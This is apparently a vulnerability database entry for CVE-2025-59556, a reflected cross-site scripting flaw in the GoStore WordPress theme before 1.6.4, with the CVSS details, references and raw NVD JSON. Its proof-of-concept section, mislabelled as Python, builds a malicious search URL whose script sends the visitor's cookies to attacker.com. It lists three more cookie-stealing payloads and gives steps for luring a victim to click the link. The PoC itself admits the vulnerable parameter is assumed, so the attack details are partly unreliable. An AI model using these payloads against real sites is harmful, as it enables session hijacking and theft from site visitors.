CVE-2025-59556

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup GoStore gostore allows Reflected XSS.This issue affects GoStore: from n/a through < 1.6.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GoStore < 1.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-59556 GoStore Reflected XSS PoC -->
<!-- Target: WordPress GoStore Theme < 1.6.4 -->
<!-- Attack Vector: Reflected XSS via search parameter -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-59556 PoC</title>
</head>
<body>
    <h2>CVE-2025-59556 - GoStore Theme Reflected XSS</h2>
    
    <p>Malicious URL to trigger XSS:</p>
    <pre id="malicious-url"></pre>
    
    <p>Steps to reproduce:</p>
    <ol>
        <li>Identify a WordPress site using GoStore theme < 1.6.4</li>
        <li>Construct malicious URL with XSS payload in search parameter</li>
        <li>Induce victim to click the crafted link</li>
        <li>Malicious JavaScript executes in victim's browser</li>
    </ol>
    
    <script>
        // Example XSS payload - Cookie stealing
        const baseUrl = window.location.origin;
        const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)<\/script>';
        
        // Construct malicious URL (assuming search parameter is vulnerable)
        const maliciousUrl = baseUrl + '/?s=' + encodeURIComponent(xssPayload);
        
        document.getElementById('malicious-url').textContent = maliciousUrl;
        
        // For demonstration, log the payload
        console.log('XSS Payload:', xssPayload);
        console.log('Malicious URL:', maliciousUrl);
    </script>
    
    <!-- Alternative payload examples:
    1. <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
    2. <svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))>
    3. javascript:fetch('https://attacker.com/steal?c='+document.cookie)
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59556
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59556
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59556/
[4] VulDB https://vuldb.com/cve/CVE-2025-59556
[5] https://patchstack.com/database/Wordpress/Theme/gostore/vulnerability/wordpress-gostore-theme-1-6-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59556", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:01.613", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup GoStore gostore allows Reflected XSS.This issue affects GoStore: from n/a through < 1.6.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/gostore/vulnerability/wordpress-gostore-theme-1-6-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}